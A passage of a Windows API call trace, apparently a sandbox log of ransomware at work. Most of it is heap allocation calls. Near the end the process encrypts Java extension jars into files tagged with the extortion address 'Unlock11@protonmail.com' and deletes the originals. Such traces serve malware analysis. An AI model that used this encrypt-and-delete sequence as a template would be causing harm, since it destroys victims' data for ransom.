0x36f8548 [0132.194] GetLastError () returned 0x0 [0132.194] GetLastError () returned 0x0 [0132.194] GetLastError () returned 0x0 [0132.194] GetLastError () returned 0x0 [0132.194] GetCurrentThreadId () returned 0x9b0 [0132.194] GetLastError () returned 0x0 [0132.195] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.195] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881138 [0132.195] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0132.195] GetLastError () returned 0x0 [0132.196] GetLastError () returned 0x0 [0132.196] GetCurrentThreadId () returned 0x9b0 [0132.196] GetLastError () returned 0x0 [0132.196] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0132.196] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0132.196] GetLastError () returned 0x0 [0132.196] GetLastError () returned 0x0 [0132.197] GetCurrentThreadId () returned 0x9b0 [0132.197] GetLastError () returned 0x0 [0132.197] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.197] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d63c8 [0132.197] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d64c8 | out: hHeap=0x2ad0000) returned 1 [0132.197] GetCurrentThreadId () returned 0x9b0 [0132.197] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0132.197] GetLastError () returned 0x0 [0132.197] GetLastError () returned 0x0 [0132.198] GetLastError () returned 0x0 [0132.198] GetLastError () returned 0x0 [0132.198] GetCurrentThreadId () returned 0x9b0 [0132.198] GetLastError () returned 0x0 [0132.198] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.198] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0132.198] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0132.198] GetLastError () returned 0x0 [0132.200] GetLastError () returned 0x0 [0132.200] GetCurrentThreadId () returned 0x9b0 [0132.200] GetLastError () returned 0x0 [0132.200] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0132.200] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0132.200] GetLastError () returned 0x0 [0132.201] GetLastError () returned 0x0 [0132.202] GetCurrentThreadId () returned 0x9b0 [0132.202] GetLastError () returned 0x0 [0132.202] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.202] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6558 [0132.202] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d63c8 | out: hHeap=0x2ad0000) returned 1 [0132.202] GetCurrentThreadId () returned 0x9b0 [0132.202] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0132.202] GetLastError () returned 0x0 [0132.203] GetLastError () returned 0x0 [0132.203] GetLastError () returned 0x0 [0132.203] GetLastError () returned 0x0 [0132.203] GetCurrentThreadId () returned 0x9b0 [0132.203] GetLastError () returned 0x0 [0132.203] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.203] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881138 [0132.203] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0132.203] GetLastError () returned 0x0 [0132.204] GetLastError () returned 0x0 [0132.204] GetCurrentThreadId () returned 0x9b0 [0132.204] GetLastError () returned 0x0 [0132.205] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0132.205] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0132.205] GetLastError () returned 0x0 [0132.205] GetLastError () returned 0x0 [0132.205] GetCurrentThreadId () returned 0x9b0 [0132.205] GetLastError () returned 0x0 [0132.205] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.205] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6478 [0132.205] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6558 | out: hHeap=0x2ad0000) returned 1 [0132.205] GetCurrentThreadId () returned 0x9b0 [0132.205] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0132.206] GetLastError () returned 0x0 [0132.206] GetLastError () returned 0x0 [0132.206] GetLastError () returned 0x0 [0132.206] GetLastError () returned 0x0 [0132.206] GetCurrentThreadId () returned 0x9b0 [0132.206] GetLastError () returned 0x0 [0132.206] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.206] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0132.207] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0132.207] GetLastError () returned 0x0 [0132.208] GetLastError () returned 0x0 [0132.208] GetCurrentThreadId () returned 0x9b0 [0132.208] GetLastError () returned 0x0 [0132.208] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0132.208] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0132.208] GetLastError () returned 0x0 [0132.210] GetLastError () returned 0x0 [0132.210] GetCurrentThreadId () returned 0x9b0 [0132.210] GetLastError () returned 0x0 [0132.210] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.210] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6488 [0132.210] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6478 | out: hHeap=0x2ad0000) returned 1 [0132.210] GetCurrentThreadId () returned 0x9b0 [0132.211] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0132.211] GetLastError () returned 0x0 [0132.211] GetLastError () returned 0x0 [0132.211] GetLastError () returned 0x0 [0132.211] GetLastError () returned 0x0 [0132.211] GetCurrentThreadId () returned 0x9b0 [0132.211] GetLastError () returned 0x0 [0132.211] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.212] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0132.212] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0132.212] GetLastError () returned 0x0 [0132.213] GetLastError () returned 0x0 [0132.213] GetCurrentThreadId () returned 0x9b0 [0132.213] GetLastError () returned 0x0 [0132.213] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0132.213] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0132.213] GetLastError () returned 0x0 [0132.221] GetLastError () returned 0x0 [0132.221] GetCurrentThreadId () returned 0x9b0 [0132.221] GetLastError () returned 0x0 [0132.222] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.222] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d64e8 [0132.222] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6488 | out: hHeap=0x2ad0000) returned 1 [0132.222] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0132.222] GetCurrentThreadId () returned 0x9b0 [0132.222] GetLastError () returned 0x0 [0132.222] GetLastError () returned 0x0 [0132.222] GetLastError () returned 0x0 [0132.223] GetLastError () returned 0x0 [0132.223] GetCurrentThreadId () returned 0x9b0 [0132.223] GetLastError () returned 0x0 [0132.223] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.223] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881090 [0132.223] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881090 | out: hHeap=0x2ad0000) returned 1 [0132.223] GetLastError () returned 0x0 [0132.227] GetLastError () returned 0x0 [0132.227] GetCurrentThreadId () returned 0x9b0 [0132.227] GetLastError () returned 0x0 [0132.227] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0132.228] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0132.228] GetLastError () returned 0x0 [0132.228] GetLastError () returned 0x0 [0132.229] GetCurrentThreadId () returned 0x9b0 [0132.229] GetLastError () returned 0x0 [0132.229] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.229] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6578 [0132.229] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d64e8 | out: hHeap=0x2ad0000) returned 1 [0132.229] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0132.229] GetCurrentThreadId () returned 0x9b0 [0132.229] GetLastError () returned 0x0 [0132.230] GetLastError () returned 0x0 [0132.230] GetLastError () returned 0x0 [0132.230] GetLastError () returned 0x0 [0132.230] GetCurrentThreadId () returned 0x9b0 [0132.230] GetLastError () returned 0x0 [0132.230] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.230] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0132.230] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0132.230] GetLastError () returned 0x0 [0132.231] GetLastError () returned 0x0 [0132.232] GetCurrentThreadId () returned 0x9b0 [0132.232] GetLastError () returned 0x0 [0132.232] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0132.232] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0132.232] GetLastError () returned 0x0 [0132.232] GetLastError () returned 0x0 [0132.232] GetCurrentThreadId () returned 0x9b0 [0132.232] GetLastError () returned 0x0 [0132.232] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.232] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6488 [0132.233] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6578 | out: hHeap=0x2ad0000) returned 1 [0132.233] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0132.233] GetCurrentThreadId () returned 0x9b0 [0132.233] GetLastError () returned 0x0 [0132.233] GetLastError () returned 0x0 [0132.233] GetLastError () returned 0x0 [0132.233] GetLastError () returned 0x0 [0132.233] GetCurrentThreadId () returned 0x9b0 [0132.234] GetLastError () returned 0x0 [0132.234] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.234] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812a0 [0132.234] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0132.234] GetLastError () returned 0x0 [0132.235] GetLastError () returned 0x0 [0132.235] GetCurrentThreadId () returned 0x9b0 [0132.235] GetLastError () returned 0x0 [0132.235] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0132.235] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0132.235] GetLastError () returned 0x0 [0132.240] GetLastError () returned 0x0 [0132.240] GetCurrentThreadId () returned 0x9b0 [0132.240] GetLastError () returned 0x0 [0132.241] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.241] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d63e8 [0132.241] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6488 | out: hHeap=0x2ad0000) returned 1 [0132.241] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0132.241] GetCurrentThreadId () returned 0x9b0 [0132.241] GetLastError () returned 0x0 [0132.241] GetLastError () returned 0x0 [0132.241] GetLastError () returned 0x0 [0132.242] GetLastError () returned 0x0 [0132.242] GetCurrentThreadId () returned 0x9b0 [0132.242] GetLastError () returned 0x0 [0132.242] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.242] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0132.242] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0132.242] GetLastError () returned 0x0 [0132.243] GetLastError () returned 0x0 [0132.243] GetCurrentThreadId () returned 0x9b0 [0132.243] GetLastError () returned 0x0 [0132.243] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0132.243] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0132.244] GetLastError () returned 0x0 [0132.244] GetLastError () returned 0x0 [0132.244] GetCurrentThreadId () returned 0x9b0 [0132.244] GetLastError () returned 0x0 [0132.244] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.244] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6468 [0132.244] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d63e8 | out: hHeap=0x2ad0000) returned 1 [0132.244] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0132.244] GetCurrentThreadId () returned 0x9b0 [0132.244] GetLastError () returned 0x0 [0132.245] GetLastError () returned 0x0 [0132.245] GetLastError () returned 0x0 [0132.245] GetLastError () returned 0x0 [0132.245] GetCurrentThreadId () returned 0x9b0 [0132.245] GetLastError () returned 0x0 [0132.245] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.245] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0132.245] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0132.246] GetLastError () returned 0x0 [0132.247] GetLastError () returned 0x0 [0132.247] GetCurrentThreadId () returned 0x9b0 [0132.247] GetLastError () returned 0x0 [0132.248] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0132.248] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0132.248] GetLastError () returned 0x0 [0132.248] GetLastError () returned 0x0 [0132.248] GetCurrentThreadId () returned 0x9b0 [0132.248] GetLastError () returned 0x0 [0132.248] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.248] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6478 [0132.249] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6468 | out: hHeap=0x2ad0000) returned 1 [0132.249] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0132.250] GetLastError () returned 0x0 [0132.250] GetLastError () returned 0x0 [0132.250] GetLastError () returned 0x0 [0132.250] GetLastError () returned 0x0 [0132.250] GetLastError () returned 0x0 [0132.250] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.250] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0132.250] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0132.250] GetLastError () returned 0x0 [0132.251] GetLastError () returned 0x0 [0132.252] GetLastError () returned 0x0 [0132.252] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0132.252] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0132.252] GetLastError () returned 0x0 [0132.252] GetLastError () returned 0x0 [0132.252] GetLastError () returned 0x0 [0132.252] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.252] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d64a8 [0132.252] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6478 | out: hHeap=0x2ad0000) returned 1 [0132.253] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0132.253] GetLastError () returned 0x0 [0132.253] GetLastError () returned 0x0 [0132.253] GetLastError () returned 0x0 [0132.253] GetLastError () returned 0x0 [0132.253] GetLastError () returned 0x0 [0132.253] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.254] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0132.254] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0132.254] GetLastError () returned 0x0 [0132.255] GetLastError () returned 0x0 [0132.255] GetLastError () returned 0x0 [0132.267] CloseHandle (hObject=0x3ac) returned 1 [0132.268] CloseHandle (hObject=0x39c) returned 1 [0132.268] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar")) returned 1 [0132.276] GetLastError () returned 0x0 [0132.277] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar", lpFilePart=0x9bada4*="sunec.jar") returned 0x34 [0132.277] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0132.277] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xa4c9)) returned 1 [0132.277] GetLastError () returned 0x0 [0132.277] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366d1c4 | out: pbBuffer=0x366d1c4) returned 1 [0132.277] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0132.277] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4288 [0132.278] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0132.278] GetFileType (hFile=0x39c) returned 0x1 [0132.278] GetFileType (hFile=0x39c) returned 0x1 [0132.278] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0132.278] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.278] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.278] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.279] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.279] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.279] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.279] GetCurrentThreadId () returned 0x9b0 [0132.279] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0132.279] GetFileType (hFile=0x3ac) returned 0x1 [0132.280] GetCurrentThreadId () returned 0x9b0 [0132.280] GetFileType (hFile=0x3ac) returned 0x1 [0132.280] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0132.280] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.280] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.280] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.280] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.280] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.280] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.280] GetCurrentThreadId () returned 0x9b0 [0132.280] GetCurrentThreadId () returned 0x9b0 [0132.280] GetCurrentThreadId () returned 0x9b0 [0132.302] GetCurrentThreadId () returned 0x9b0 [0132.302] GetCurrentThreadId () returned 0x9b0 [0132.302] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0xa4e5) returned 0x36f8548 [0132.302] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6558 [0132.303] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d63c8 | out: hHeap=0x2ad0000) returned 1 [0132.303] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xa4e8) returned 0x3702a38 [0132.303] GetCurrentThreadId () returned 0x9b0 [0132.304] GetCurrentThreadId () returned 0x9b0 [0132.304] GetCurrentThreadId () returned 0x9b0 [0132.305] CloseHandle (hObject=0x3ac) returned 1 [0132.305] GetLastError () returned 0x0 [0132.305] GetCurrentThreadId () returned 0x9b0 [0132.305] GetLastError () returned 0x0 [0132.305] GetLastError () returned 0x0 [0132.305] CloseHandle (hObject=0x39c) returned 1 [0132.305] GetLastError () returned 0x0 [0132.306] GetCurrentThreadId () returned 0x9b0 [0132.306] GetLastError () returned 0x0 [0132.306] GetCurrentThreadId () returned 0x9b0 [0132.306] GetLastError () returned 0x0 [0132.306] GetLastError () returned 0x0 [0132.306] GetLastError () returned 0x0 [0132.306] GetLastError () returned 0x0 [0132.306] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar")) returned 1 [0132.307] GetLastError () returned 0x0 [0132.308] GetCurrentThreadId () returned 0x9b0 [0132.308] GetLastError () returned 0x0 [0132.308] GetLastError () returned 0x0 [0132.308] GetLastError () returned 0x0 [0132.308] GetLastError () returned 0x0 [0132.308] GetLastError () returned 0x0 [0132.308] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar", lpFilePart=0x9bada4*="sunjce_provider.jar") returned 0x3e [0132.308] GetCurrentThreadId () returned 0x9b0 [0132.308] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0132.309] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0132.309] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0132.309] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0132.309] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5dc0 [0132.309] GetLastError () returned 0x0 [0132.309] GetLastError () returned 0x0 [0132.309] GetLastError () returned 0x0 [0132.309] GetLastError () returned 0x0 [0132.309] GetCurrentThreadId () returned 0x9b0 [0132.309] GetLastError () returned 0x0 [0132.309] GetCurrentThreadId () returned 0x9b0 [0132.310] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5dc0 | out: hHeap=0x2ad0000) returned 1 [0132.310] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5be0 [0132.310] GetLastError () returned 0x0 [0132.310] GetLastError () returned 0x0 [0132.310] GetLastError () returned 0x0 [0132.310] GetLastError () returned 0x0 [0132.310] GetCurrentThreadId () returned 0x9b0 [0132.310] GetLastError () returned 0x0 [0132.310] GetLastError () returned 0x0 [0132.310] GetLastError () returned 0x0 [0132.310] GetLastError () returned 0x0 [0132.311] GetLastError () returned 0x0 [0132.311] GetCurrentThreadId () returned 0x9b0 [0132.311] GetLastError () returned 0x0 [0132.311] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5be0 | out: hHeap=0x2ad0000) returned 1 [0132.311] GetLastError () returned 0x0 [0132.311] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6780 | out: hHeap=0x2ad0000) returned 1 [0132.311] GetLastError () returned 